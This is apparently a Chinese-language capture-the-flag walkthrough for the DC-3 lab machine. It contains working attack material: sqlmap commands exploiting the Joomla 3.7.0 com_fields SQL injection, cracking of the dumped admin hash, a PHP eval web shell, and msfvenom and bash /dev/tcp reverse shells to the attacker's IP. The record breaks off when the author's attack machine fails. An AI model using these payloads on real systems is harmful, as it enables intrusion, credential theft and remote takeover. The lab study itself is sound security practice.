信息收集
靶场的ip,sudo arp-scan -l 根据MAC地址得到ip为192.168.146.141
去登录看一下,说只有1个flag,没有提示,需要root权限,要利用系统漏洞
扫描开放的端口,版本信息nmap -A(全面扫描) -p-(端口) ip
端口只开放了80端口,
Apache httpd 2.4.18 ((Ubuntu)) 是一个web服务器,接受客户端的请求并返回相应的网页和文件
joomla!是cms,允许用户创建和管理网站内容和结构
扫描下DC-3的操作系统、服务器版本nmap -A(全面扫描) -O(探测操作系统) ip
操作系统版本是Linux3.2-Linux4.9为软件提供运行环境、处理底层硬件交互
有一个针对joomla!的漏洞扫描器joomscan,看一下joomla!有无漏洞
安装sudo apt-get install joomscan
oomscan --url http://192.168.146.141对Joomla!版本、防火墙进行探测,还可以探测已知的漏洞
Joomla!版本3.7.0
访问/administrator/,是管理员登陆界面
得到一些网站目录
[+] Checking Directory Listing
[++] directory has directory listing :
http://192.168.146.141/administrator/components
http://192.168.146.141/administrator/modules
http://192.168.146.141/administrator/templates
http://192.168.146.141/images/banners
访问/administrator/components,得到一些文件,还不知道哪些有用、先放着不管
Joomla版本3.7.0,用metasploit搜索这个版本有无漏洞
msfconsole
search joomla
excellent表示这个漏洞利用模块非常可靠,有很大机率成功
但我不知道哪个适合3.7.0版本
用searchsploit joomla 3.7.0查找漏洞,有2个漏洞
用第一个漏洞,查一下绝对路径 find / -nmae 42033.txt
查看/usr/share/exploitdb/exploits/php/webapps/42033.txt,是2017-5-19的漏洞,让我们使用sqlmap 并给出了注入点和playload
-u后跟url,--risk=3风险等级1到3,--level==5测试深度为1到5,测试的参数和playload越多,--random-agent发送请求时随机选择一个User-Agent头,避免被检测到
--dbs检测站点包含哪些数据库
运行sqlmap -u "http://192.168.146.141(靶机的ip)/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
看到5个数据库、操作系统是Ubuntu 16.10或者16.04
看一下joomladb数据库里的所有表
-D指定数据库、--tables列出表
运行sqlmap -u "http://192.168.146.141/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]
看一下users表的列名
-D指定数据库、-T指定数据表、--columns列出所有字段
sqlmap -u "http://192.168.146.141/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --columns -p list[fullordering]
大家要注意 '#__users'表是2个下划线、我少打了一个,尝试几次都没结果
看到用户名和密码两个字段
看一下用户名和密码
-C 列名 在-D -T情况下输出某列数据的值、--dump 拉取数据存放到本地,获取值,也就是表中的数据
运行sqlmap -u "http://192.168.146.141/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomladb -T '#__users' -C username,password --dump
拿到admin的密码密文$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
解密,搜了下$2y,用到的是 password_hash()加密函数,试试暴力破解密码,用hydra ,著名黑客组织thc的一款开源的暴力密码破解工具
sudo vi /home/dc/password把密文写进这个文件
john /home/dc/password
得到密码snoopy
去登录网站,看能不能上传点php文件,目标是要拿到shell
成功登录
在这里 New File
上传一句话木马
<?php @eval($_POST['cmd']);?>
php的代码要写在<?php ?>
里面,服务器才能认出来这是php代码
@
符号的意思是不报错,即使执行错误,也不报错
$_POST['a']
; 的意思就是a这个变量,用post的方法接收。(传输数据的两种方法,get、post,post是在消息体存放数据,get是在消息头的url路径里存放数据)
eval()把字符串作为PHP代码执行
但是我觉得反弹shell方便一点,使用metaspolit生成反弹shell
sudo msfvenom -p php/meterpreter_reverse_tcp LHOSTS=192.168.146.140(自己的攻击机ip) LPORTS=9000 -f raw -o /home/dc/shell.php
然后新建文件复制,直接上传反弹shell不行,路径为
http://192.168.146.141/templates/beez3/shell.php
使用msf监听
msfconsole
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set lhost 192.168.146.140
set lport 9000
exploit或者run
先监听然后去浏览器访问这个php,让它执行
然后发现没连接上
那我就把shell.php的内容改一下
<?php system("bash -c 'bash -i >& /dev/tcp/192.168.146.140/9003 0>&1' ");?>
监听端口也毫无反应
发现电脑又出上次一样的毛病了、DC3靶场也访问不了
卸载重装kali